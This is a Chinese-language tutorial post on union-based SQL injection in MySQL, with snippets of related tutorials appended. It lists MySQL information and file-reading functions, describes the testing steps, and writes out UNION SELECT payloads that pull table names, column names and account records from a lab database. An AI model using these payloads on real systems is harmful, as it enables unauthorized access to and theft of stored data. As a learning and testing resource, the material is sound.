基於錯誤的SQL注入(union聯合注入)

2021-10-05 02:34:11 字數 1198 閱讀 1467

mysql中比較常用的一些函式

version(): 查詢資料庫的版本          

user():查詢資料庫的使用者       

database():資料庫

system_user():系統使用者名稱

session_user():連線資料庫的使用者名稱

current_user:當前使用者名稱

load_file():讀取本地檔案

@@datadir:讀取資料庫路徑

@@basedir:mysql安裝路徑

@@version_complie_os:檢視作業系統

cast( 欄位名 as 轉換的型別)

ifnull() 函式用於判斷第乙個表示式是否為 null,如果為 null 則返回第二個引數的值,如果不為 null 則返回第乙個引數的值。

1、burp抓包,傳送至repeater,用and 1=1,and 1=2試試是否有注入點

2、用order by判斷位數,看頁面是否正常,也可用二分法進行測試, 因為union內部的select語句必須擁有相同數量的列,列也必須擁有相似的資料型別。

3、union查詢判斷顯示位,可故意輸入不存在的id,直接顯示當前列數,前面查詢不存在的時候,執行後面的語句

4、可以檢視鏈結目標的資料庫版本,user(),version(),database(), group_concat():將括號中的所有引數拼接成乙個字串; substr(str,start,length):擷取str字串中從start開始,長度為length的子串

知道database()

檢視表名

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=『pentest』

檢視列名

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=『pentest』 and table_name=『account』

檢視字段

1 union select 1,group_concat(id,』@』,rest,』@』,own),3 from pentest.account

1、用'判斷是否報錯,在數字型注入的基礎上考慮閉合

SQL注入中的union注入

環境自己搭的 union聯合,合併,將多條查詢語句結果合併成乙個結果,union注入攻擊是手工測試 1.首先要判斷是否存在注入點 2.通過order by 1 99 查詢字段 首先應該用查詢出欄位 1.注 20表示空格,我這裡從1試到了7 到7的時候報錯,也就會是說有6個字段 2.我的回顯是2和4,...

sql注入之union注入

判斷是否存在注入點 判斷是什麼型別注入 字元型or數字型 判斷閉合方式 查詢列數個數 order by 5,獲得資料庫名 獲得表名 獲得欄位名 1.判斷是否存在注入點 可以用 單引號顯示資料庫錯誤資訊或者頁面回顯不同 2.判斷什麼型別 字元型or數字型 用and 1 1和and 1 2 如果頁面沒有...

sql注入 union聯合查詢注入

目錄 一,sql注入必記的一庫三表 二,union聯合查詢注入 1,基本注入流程 1,判斷注入點 2,判斷多少列 3,判斷顯示位 4,顯示資料庫的基本資訊 5,顯示有哪些資料庫 6,顯示資料庫下有哪些表 7,判斷表裡有哪些字段 八,查詢資料表中有哪些資料 information schema 資料庫...